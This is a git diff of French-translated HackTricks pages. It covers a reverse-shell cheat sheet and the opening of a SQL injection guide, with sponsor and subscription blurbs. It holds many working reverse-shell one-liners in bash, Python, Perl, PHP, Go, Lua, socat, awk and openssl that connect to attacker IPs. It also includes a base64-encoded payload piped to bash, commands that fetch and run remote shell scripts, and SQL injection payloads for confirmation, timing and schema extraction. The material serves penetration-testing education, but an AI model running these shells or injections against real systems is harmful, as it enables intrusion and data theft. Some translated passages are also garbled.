-Trouvez les vulnérabilités les plus importantes afin de les corriger plus rapidement. Intruder suit votre surface d'attaque, effectue des scans de menaces proactifs, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) aujourd'hui. +Trouvez les vulnérabilités les plus importantes afin de pouvoir les corriger plus rapidement. Intruder suit votre surface d'attaque, lance des analyses de menaces proactives, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) aujourd'hui. {% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %} *** -**Si vous avez des questions sur l'une de ces shells, vous pouvez les vérifier avec** [**https://explainshell.com/**](https://explainshell.com) +**Si vous avez des questions sur l'un de ces shells, vous pouvez les vérifier avec** [**https://explainshell.com/**](https://explainshell.com) ## Full TTY -**Une fois que vous obtenez un reverse shell**[ **lisez cette page pour obtenir un full TTY**](full-ttys.md)**.** +**Une fois que vous avez obtenu un shell inversé**[ **lisez cette page pour obtenir un TTY complet**](full-ttys.md)**.** ## Bash | sh ```bash @@ -41,9 +41,9 @@ exec 5<>/dev/tcp//; while read line 0<&5; do $line 2>&5 >&5; #after getting the previous shell to get the output to execute exec >&0 ``` -N'oubliez pas de vérifier avec d'autres shells : sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh et bash. +### Coquille sûre de symboles -### Symbol safe shell +N'oubliez pas de vérifier avec d'autres coquilles : sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh et bash. ```bash #If you need a more stable connection do: bash -c 'bash -i >& /dev/tcp// 0>&1' @@ -52,31 +52,31 @@ bash -c 'bash -i >& /dev/tcp// 0>&1' #B64 encode the shell like: echo "bash -c 'bash -i >& /dev/tcp/10.8.4.185/4444 0>&1'" | base64 -w0 echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMScK | base64 -d | bash 2>/dev/null ``` -#### Explication du shell +#### Explication du Shell -1. **`bash -i`** : Cette partie de la commande démarre un shell Bash interactif (`-i`). -2. **`>&`** : Cette partie de la commande est une notation abrégée pour **rediriger à la fois la sortie standard** (`stdout`) et **l'erreur standard** (`stderr`) vers la **même destination**. -3. **`/dev/tcp//`** : Il s'agit d'un fichier spécial qui **représente une connexion TCP à l'adresse IP et au port spécifiés**. -* En **redirigeant les flux de sortie et d'erreur vers ce fichier**, la commande envoie effectivement la sortie de la session de shell interactif à la machine de l'attaquant. -4. **`0>&1`** : Cette partie de la commande **redirige l'entrée standard (`stdin`) vers la même destination que la sortie standard (`stdout`)**. +1. **`bash -i`**: Cette partie de la commande démarre un shell Bash interactif (`-i`). +2. **`>&`**: Cette partie de la commande est une notation abrégée pour **rediriger à la fois la sortie standard** (`stdout`) et **l'erreur standard** (`stderr`) vers la **même destination**. +3. **`/dev/tcp//`**: Il s'agit d'un fichier spécial qui **représente une connexion TCP à l'adresse IP et au port spécifiés**. +* En **redirigeant les flux de sortie et d'erreur vers ce fichier**, la commande envoie efficacement la sortie de la session shell interactive à la machine de l'attaquant. +4. **`0>&1`**: Cette partie de la commande **redirige l'entrée standard (`stdin`) vers la même destination que la sortie standard (`stdout`)**. ### Créer dans un fichier et exécuter ```bash echo -e '#!/bin/bash\nbash -i >& /dev/tcp/1/ 0>&1' > /tmp/sh.sh; bash /tmp/sh.sh; wget http:///shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.sh ``` -## Forward Shell +## Shell Avancé -Vous pourriez rencontrer des cas où vous avez un **RCE dans une application web sur une machine Linux** mais en raison des règles Iptables ou d'autres types de filtrage **vous ne pouvez pas obtenir de reverse shell**. Ce "shell" vous permet de maintenir un shell PTY à travers ce RCE en utilisant des pipes à l'intérieur du système victime.\ +Il se peut que vous rencontriez des cas où vous avez une **RCE dans une application web sur une machine Linux** mais en raison de règles Iptables ou d'autres types de filtrage, **vous ne pouvez pas obtenir de shell inversé**. Ce "shell" vous permet de maintenir un shell PTY via cette RCE en utilisant des tubes à l'intérieur du système victime.\ Vous pouvez trouver le code sur [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell) -Vous devez simplement modifier : +Il vous suffit de modifier : * L'URL de l'hôte vulnérable -* Le préfixe et le suffixe de votre payload (le cas échéant) -* La manière dont le payload est envoyé (entêtes ? données ? infos supplémentaires ?) +* Le préfixe et le suffixe de votre charge utile (le cas échéant) +* La manière dont la charge utile est envoyée (en-têtes ? données ? informations supplémentaires ?) -Ensuite, vous pouvez simplement **envoyer des commandes** ou même **utiliser la commande `upgrade`** pour obtenir un PTY complet (notez que les pipes sont lus et écrits avec un délai approximatif de 1,3 seconde). +Ensuite, vous pouvez simplement **envoyer des commandes** ou même **utiliser la commande `upgrade`** pour obtenir un shell PTY complet (notez que les tubes sont lus et écrits avec un délai approximatif de 1,3s). ## Netcat ```bash @@ -93,6 +93,8 @@ Vérifiez-le sur [https://www.gsocket.io/deploy/](https://www.gsocket.io/deploy/ bash -c "$(curl -fsSL gsocket.io/x)" ``` ## Telnet + +Telnet est un protocole de communication utilisé pour se connecter à distance à un serveur, souvent pour un débogage ou une administration système. Il transmet les données en texte clair, ce qui le rend vulnérable aux attaques de type interception. Il est recommandé d'éviter d'utiliser Telnet pour des connexions sensibles et de privilégier des protocoles plus sécurisés comme SSH. ```bash telnet | /bin/sh #Blind rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet >/tmp/f @@ -105,13 +107,15 @@ rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0; done ``` -Pour envoyer la commande, écrivez-la, appuyez sur Entrée et appuyez sur CTRL+D (pour arrêter STDIN) +Pour envoyer la commande, écrivez-la, appuyez sur Entrée, puis sur CTRL+D (pour arrêter STDIN) **Victime** ```bash export X=Connected; while true; do X=`eval $(whois -h -p "Output: $X")`; sleep 1; done ``` ## Python + +Python is a versatile and powerful programming language commonly used in hacking due to its simplicity and readability. It provides a wide range of libraries and frameworks that can be used for various hacking tasks, such as network scanning, web scraping, and creating custom tools. Python scripts can be easily executed on different operating systems, making it a popular choice among hackers. ```bash #Linux export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")' @@ -120,6 +124,8 @@ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOC python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4343,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");' ``` ## Perl + +Perl est un langage de script polyvalent et puissant couramment utilisé pour l'automatisation de tâches, le traitement de texte et la manipulation de fichiers. Il est également largement utilisé dans le domaine de la sécurité informatique pour diverses tâches, telles que l'analyse de fichiers journaux, la manipulation de données et la création d'outils personnalisés. Perl offre une grande flexibilité et une grande capacité à interagir avec le système d'exploitation, ce qui en fait un outil précieux pour les professionnels de la sécurité informatique. ```bash perl -e 'use Socket;$i="";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' @@ -130,6 +136,8 @@ ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' ``` ## PHP + +PHP (Hypertext Preprocessor) is a widely-used open source general-purpose scripting language that is especially suited for web development and can be embedded into HTML. It is executed on the server side, meaning that the code is processed on the server before being sent to the client's web browser. PHP can perform various tasks such as collecting form data, generating dynamic page content, sending and receiving cookies, and more. ```php // Using 'exec' is the most common method, but assumes that the file descriptor will be 3. // Using this method may lead to instances where the connection reaches out to the listener and then closes. @@ -152,19 +160,21 @@ p.waitFor() victim> ncat --exec cmd.exe --allow 10.0.0.4 -vnl 4444 --ssl attacker> ncat -v 10.0.0.22 4444 --ssl ``` -```
-Trouvez les vulnérabilités qui comptent le plus afin de les corriger rapidement. Intruder suit votre surface d'attaque, effectue des scans de menaces proactifs, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) aujourd'hui. +Trouvez les vulnérabilités les plus importantes afin de pouvoir les corriger plus rapidement. Intruder suit votre surface d'attaque, lance des analyses de menaces proactives, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) aujourd'hui. {% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %} *** -``` + +## Golang ```bash echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go ``` ## Lua + +Lua est un langage de script léger et puissant. Il est souvent utilisé pour l'automatisation de tâches, la création de scripts et le développement d'applications. Lua est largement utilisé dans le domaine des jeux vidéo en raison de sa flexibilité et de sa facilité d'intégration avec d'autres langages de programmation. ```bash #Linux lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');" @@ -216,7 +226,7 @@ https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py ``` ## OpenSSL -L'Attaquant (Kali) +L'attaquant (Kali) ```bash openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate openssl s_server -quiet -key key.pem -cert cert.pem -port #Here you will be able to introduce the commands @@ -234,7 +244,7 @@ openssl.exe s_client -quiet -connect :|cmd.exe|openssl s_cli [https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries) -### Shell de liaison +### Coquille de liaison ```bash victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane attacker> socat FILE:`tty`,raw,echo=0 TCP::1337 @@ -245,10 +255,18 @@ attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0 victim> socat TCP4::1337 EXEC:bash,pty,stderr,setsid,sigint,sane ``` ## Awk + +Awk est un langage de programmation polyvalent et une commande de traitement de texte couramment utilisée dans les environnements Unix. Il est souvent utilisé pour extraire et manipuler des données textuelles structurées. Voici un exemple simple d'utilisation d'Awk pour afficher la première colonne d'un fichier CSV : + +```bash +awk -F ',' '{print $1}' fichier.csv +``` + +Dans cet exemple, `-F ','` spécifie que la virgule est utilisée comme délimiteur de champ, et `{print $1}` indique à Awk d'imprimer la première colonne de chaque ligne du fichier CSV. ```bash awk 'BEGIN {s = "/inet/tcp/0//"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null ``` -## Finger +## Doigt **Attaquant** ```bash @@ -263,6 +281,8 @@ export X=Connected; while true; do X=`eval $(finger "$X"@ 2> /dev/null')`; s export X=Connected; while true; do X=`eval $(finger "$X"@ 2> /dev/null | grep '!'|sed 's/^!//')`; sleep 1; done ``` ## Gawk + +Gawk est un langage de programmation interprété qui est souvent utilisé pour le traitement de fichiers texte et la génération de rapports. Il est également couramment utilisé par les hackers pour manipuler des données et automatiser des tâches lors de tests d'intrusion. ```bash #!/usr/bin/gawk -f @@ -287,21 +307,21 @@ close(Service) ``` ## Xterm -Une des formes les plus simples de reverse shell est une session xterm. La commande suivante doit être exécutée sur le serveur. Elle tentera de se connecter à vous (10.0.0.1) sur le port TCP 6001. +Une des formes les plus simples de shell inversé est une session xterm. La commande suivante doit être exécutée sur le serveur. Elle tentera de se connecter à vous (10.0.0.1) sur le port TCP 6001. ```bash xterm -display 10.0.0.1:1 ``` -Pour intercepter le xterm entrant, démarrez un serveur X (:1 – qui écoute sur le port TCP 6001). Une manière de faire cela est avec Xnest (à exécuter sur votre système) : +Pour intercepter le xterm entrant, démarrez un serveur X (:1 - qui écoute sur le port TCP 6001). Une façon de faire cela est avec Xnest (à exécuter sur votre système): ```bash Xnest :1 ``` -Vous devrez autoriser la cible à se connecter à vous (commande exécutée également sur votre hôte) : +Vous devrez autoriser la cible à se connecter à vous (commande également exécutée sur votre hôte) : ```bash xhost +targetip ``` ## Groovy -par [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76) NOTE : Les reverse shell Java fonctionnent également pour Groovy +par [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76) NOTE: Les shells inversés Java fonctionnent également pour Groovy ```bash String host="localhost"; int port=8044; @@ -320,21 +340,21 @@ Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new
-Trouvez les vulnérabilités qui comptent le plus afin de les corriger plus rapidement. Intruder suit votre surface d'attaque, effectue des scans de menaces proactifs, trouve des problèmes dans toute votre pile technologique, des API aux applications web et systèmes cloud. [**Essayez gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) aujourd'hui. +Trouvez les vulnérabilités les plus importantes afin de les corriger plus rapidement. Intruder suit votre surface d'attaque, lance des analyses de menaces proactives, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) aujourd'hui. {% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
-Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks: * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
diff --git a/pentesting-web/sql-injection/README.md b/pentesting-web/sql-injection/README.md index cd6a7630c..c92d80b03 100644 --- a/pentesting-web/sql-injection/README.md +++ b/pentesting-web/sql-injection/README.md @@ -4,33 +4,31 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Travaillez-vous dans une **entreprise de cybersécurité**? Vous voulez voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
-​​​​[**RootedCON**](https://www.rootedcon.com/) est l'événement de cybersécurité le plus important en **Espagne** et l'un des plus importants en **Europe**. Avec **pour mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans toutes les disciplines. +​​​​[**RootedCON**](https://www.rootedcon.com/) est l'événement le plus pertinent en matière de cybersécurité en **Espagne** et l'un des plus importants en **Europe**. Avec **pour mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans chaque discipline. {% embed url="https://www.rootedcon.com/" %} -## Qu'est-ce que l'injection SQL ? +## Qu'est-ce qu'une injection SQL? -L'injection SQL est une vulnérabilité de sécurité web qui permet à un attaquant d'**interférer** avec les **requêtes** qu'une application fait à sa **base de données**. Elle permet généralement à un attaquant de **visualiser des données** auxquelles il n'a normalement pas accès. Cela peut inclure des données appartenant à **d'autres utilisateurs**, ou toute autre donnée à laquelle l'**application** elle-même est capable d'**accéder**. Dans de nombreux cas, un attaquant peut **modifier** ou **supprimer** ces données, provoquant des changements persistants dans le contenu ou le comportement de l'application.\ -Dans certaines situations, un attaquant peut intensifier une attaque d'injection SQL pour **compromettre le serveur sous-jacent** ou toute autre infrastructure en arrière-plan, ou effectuer une attaque de déni de service. (De [ici](https://portswigger.net/web-security/sql-injection)). +Une **injection SQL** est une faille de sécurité qui permet aux attaquants d'**interférer avec les requêtes de base de données** d'une application. Cette vulnérabilité peut permettre aux attaquants de **visualiser**, **modifier** ou **supprimer** des données auxquelles ils ne devraient pas accéder, y compris des informations d'autres utilisateurs ou toutes les données auxquelles l'application peut accéder. De telles actions peuvent entraîner des modifications permanentes de la fonctionnalité ou du contenu de l'application, voire compromettre le serveur ou provoquer un déni de service. -> Dans ce POST, je vais supposer que nous avons trouvé une possible injection SQL et nous allons discuter des méthodes possibles pour confirmer l'injection SQL, reconnaître la base de données et effectuer des actions. ## Détection du point d'entrée -Vous avez peut-être trouvé un site qui est **apparemment vulnérable à l'injection SQL** simplement parce que le serveur se comporte de manière étrange avec les entrées liées à l'injection SQL. Par conséquent, la **première chose** à faire est de savoir comment **injecter des données dans la requête sans la casser**. Pour ce faire, vous devez d'abord trouver comment **échapper du contexte actuel**.\ -Voici quelques exemples utiles : +Lorsqu'un site semble être **vulnérable à une injection SQL (SQLi)** en raison de réponses inhabituelles du serveur aux entrées liées à SQLi, la **première étape** consiste à comprendre comment **injecter des données dans la requête sans la perturber**. Cela nécessite d'identifier la méthode pour **s'échapper du contexte actuel** de manière efficace. +Voici quelques exemples utiles: ``` - [Nothing] +[Nothing] ' " ` @@ -43,7 +41,7 @@ Voici quelques exemples utiles : ``` Ensuite, vous devez savoir comment **corriger la requête pour qu'il n'y ait pas d'erreurs**. Pour corriger la requête, vous pouvez **entrer** des données pour que la **requête précédente accepte les nouvelles données**, ou vous pouvez simplement **entrer** vos données et **ajouter un symbole de commentaire à la fin**. -Notez que si vous pouvez voir des messages d'erreur ou repérer des différences lorsque la requête fonctionne et quand elle ne fonctionne pas, cette phase sera plus facile. +_Notez que si vous pouvez voir des messages d'erreur ou repérer des différences lorsque la requête fonctionne et quand elle ne fonctionne pas, cette phase sera plus facile._ ### **Commentaires** ```sql @@ -73,24 +71,25 @@ HQL does not support comments ``` ### Confirmation avec des opérations logiques -L'une des meilleures façons de confirmer une injection SQL est de la faire fonctionner avec une **opération logique** et d'obtenir les résultats attendus.\ -Par exemple : si le paramètre GET `?username=Peter` renvoie le même contenu que `?username=Peter' or '1'='1`, alors vous avez trouvé une injection SQL. +Une méthode fiable pour confirmer une vulnérabilité d'injection SQL consiste à exécuter une **opération logique** et à observer les résultats attendus. Par exemple, un paramètre GET tel que `?username=Peter` produisant un contenu identique lorsqu'il est modifié en `?username=Peter' or '1'='1` indique une vulnérabilité d'injection SQL. -Vous pouvez également appliquer ce concept aux **opérations mathématiques**. Exemple : si `?id=1` renvoie la même chose que `?id=2-1`, injection SQL. +De même, l'application d'**opérations mathématiques** sert de technique de confirmation efficace. Par exemple, si l'accès à `?id=1` et `?id=2-1` produit le même résultat, cela indique une injection SQL. + +Exemples démontrant la confirmation par des opérations logiques : ``` -page.asp?id=1 or 1=1 -- true -page.asp?id=1' or 1=1 -- true -page.asp?id=1" or 1=1 -- true -page.asp?id=1 and 1=2 -- false +page.asp?id=1 or 1=1 -- results in true +page.asp?id=1' or 1=1 -- results in true +page.asp?id=1" or 1=1 -- results in true +page.asp?id=1 and 1=2 -- results in false ``` -Cette liste de mots a été créée pour essayer de **confirmer les injections SQL** de la manière proposée : +Ce word-list a été créé pour essayer de **confirmer les injections SQL** de la manière proposée: {% file src="../../.gitbook/assets/sqli-logic.txt" %} -### Confirmation avec le temps +### Confirmation avec le Timing Dans certains cas, vous **ne remarquerez aucun changement** sur la page que vous testez. Par conséquent, une bonne façon de **découvrir les injections SQL aveugles** est de faire effectuer des actions à la base de données qui auront un **impact sur le temps** nécessaire au chargement de la page.\ -Par conséquent, nous allons concaténer dans la requête SQL une opération qui prendra beaucoup de temps pour se terminer : +Ainsi, nous allons concaténer dans la requête SQL une opération qui prendra beaucoup de temps à se terminer: ``` MySQL (string concat and logical ops) 1' + sleep(10) @@ -112,11 +111,11 @@ SQLite 1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2)))) 1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2)))) ``` -Dans certains cas, les **fonctions de sommeil ne seront pas autorisées**. Dans ce cas, au lieu d'utiliser ces fonctions, vous pouvez faire en sorte que la requête effectue des opérations complexes qui prendront plusieurs secondes. _Des exemples de ces techniques seront commentés séparément pour chaque technologie (le cas échéant)_. +Dans certains cas, les **fonctions de sommeil ne seront pas autorisées**. Au lieu d'utiliser ces fonctions, vous pourriez faire en sorte que la requête **effectue des opérations complexes** qui prendront plusieurs secondes. _Des exemples de ces techniques seront commentés séparément sur chaque technologie (le cas échéant)_. ### Identification du back-end -La meilleure façon d'identifier le back-end est d'essayer d'exécuter des fonctions des différents back-ends. Vous pouvez utiliser les **fonctions de sommeil** de la section précédente ou celles-ci : +La meilleure façon d'identifier le back-end est d'essayer d'exécuter des fonctions des différents back-ends. Vous pourriez utiliser les _**fonctions de sommeil**_ de la section précédente ou celles-ci (tableau provenant de [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification): ```bash ["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"], ["connection_id()=connection_id()" ,"MYSQL"], @@ -144,17 +143,17 @@ La meilleure façon d'identifier le back-end est d'essayer d'exécuter des fonct ["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"], ["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"], ``` -De plus, si vous avez accès à la sortie de la requête, vous pouvez faire en sorte qu'elle **affiche la version de la base de données**. +De plus, si vous avez accès à la sortie de la requête, vous pourriez **faire afficher la version de la base de données**. {% hint style="info" %} -Dans la suite, nous allons discuter de différentes méthodes pour exploiter différents types d'injections SQL. Nous utiliserons MySQL comme exemple. +Nous allons discuter de différentes méthodes pour exploiter différents types d'injections SQL. Nous utiliserons MySQL comme exemple. {% endhint %} ### Identification avec PortSwigger {% embed url="https://portswigger.net/web-security/sql-injection/cheat-sheet" %} -## Exploitation basée sur Union +## Exploitation basée sur l'Union ### Détection du nombre de colonnes @@ -164,13 +163,13 @@ Deux méthodes sont généralement utilisées à cette fin : #### Order/Group by -Continuez à incrémenter le nombre jusqu'à ce que vous obteniez une réponse fausse. Bien que GROUP BY et ORDER BY aient des fonctionnalités différentes en SQL, ils peuvent tous deux être utilisés de la même manière pour déterminer le nombre de colonnes dans la requête. +Pour déterminer le nombre de colonnes dans une requête, ajustez progressivement le nombre utilisé dans les clauses **ORDER BY** ou **GROUP BY** jusqu'à ce qu'une réponse fausse soit reçue. Malgré les fonctionnalités distinctes de **GROUP BY** et **ORDER BY** dans SQL, les deux peuvent être utilisés de manière identique pour déterminer le nombre de colonnes de la requête. ```sql 1' ORDER BY 1--+ #True 1' ORDER BY 2--+ #True 1' ORDER BY 3--+ #True 1' ORDER BY 4--+ #False - Query is only using 3 columns - #-1' UNION SELECT 1,2,3--+ True +#-1' UNION SELECT 1,2,3--+ True ``` ```sql @@ -178,7 +177,7 @@ Continuez à incrémenter le nombre jusqu'à ce que vous obteniez une réponse f 1' GROUP BY 2--+ #True 1' GROUP BY 3--+ #True 1' GROUP BY 4--+ #False - Query is only using 3 columns - #-1' UNION SELECT 1,2,3--+ True +#-1' UNION SELECT 1,2,3--+ True ``` #### UNION SELECT @@ -188,11 +187,9 @@ Sélectionnez de plus en plus de valeurs nulles jusqu'à ce que la requête soit 1' UNION SELECT null,null-- - Not working 1' UNION SELECT null,null,null-- - Worked ``` -_Vous devriez utiliser des valeurs `null` car dans certains cas, le type des colonnes des deux côtés de la requête doit être le même et null est valide dans tous les cas._ +### Extraire les noms de base de données, les noms de table et les noms de colonnes -### Extraire les noms de la base de données, les noms de table et les noms de colonne - -Dans les exemples suivants, nous allons récupérer le nom de toutes les bases de données, le nom de la table d'une base de données, les noms de colonnes de la table : +Dans les exemples suivants, nous allons récupérer le nom de toutes les bases de données, le nom de la table d'une base de données, les noms des colonnes de la table: ```sql #Database names -1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata @@ -203,52 +200,53 @@ Dans les exemples suivants, nous allons récupérer le nom de toutes les bases d #Column names -1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name] ``` -Il existe une méthode différente pour découvrir ces données sur chaque base de données différente, mais la méthodologie est toujours la même. +_Il existe une manière différente de découvrir ces données sur chaque base de données, mais la méthodologie reste toujours la même._ -## Exploitation de l'injection basée sur Union cachée +## Exploitation de l'injection basée sur l'union cachée -Si vous pouvez voir la sortie de la requête mais que vous ne pouvez pas réaliser une injection basée sur Union, vous êtes confronté à une injection basée sur Union cachée.\ -Dans cette situation, vous vous retrouvez avec une injection aveugle. Pour transformer l'injection aveugle en une injection basée sur Union, vous devez extraire la requête qui est exécutée sur le backend.\ -Vous pouvez le faire en utilisant l'injection aveugle et les tables par défaut de votre DBMS cible. Pour en savoir plus sur ces tables par défaut, lisez la documentation de votre DBMS cible.\ -Après avoir extrait la requête, vous devez ajuster votre charge utile en conséquence, en fermant la requête d'origine en toute sécurité. Ensuite, ajoutez une requête d'union à votre charge utile et commencez à exploiter l'injection basée sur Union nouvellement obtenue. +Lorsque la sortie d'une requête est visible, mais qu'une injection basée sur l'union semble impossible, cela signifie la présence d'une **injection basée sur l'union cachée**. Ce scénario conduit souvent à une situation d'injection aveugle. Pour transformer une injection aveugle en une injection basée sur l'union, il est nécessaire de comprendre la requête d'exécution côté serveur. -Article complet : https://medium.com/@Rend\_/healing-blind-injections-df30b9e0e06f +Cela peut être réalisé en utilisant des techniques d'injection aveugle en conjonction avec les tables par défaut spécifiques à votre Système de Gestion de Base de Données (SGBD) cible. Pour comprendre ces tables par défaut, il est conseillé de consulter la documentation du SGBD cible. 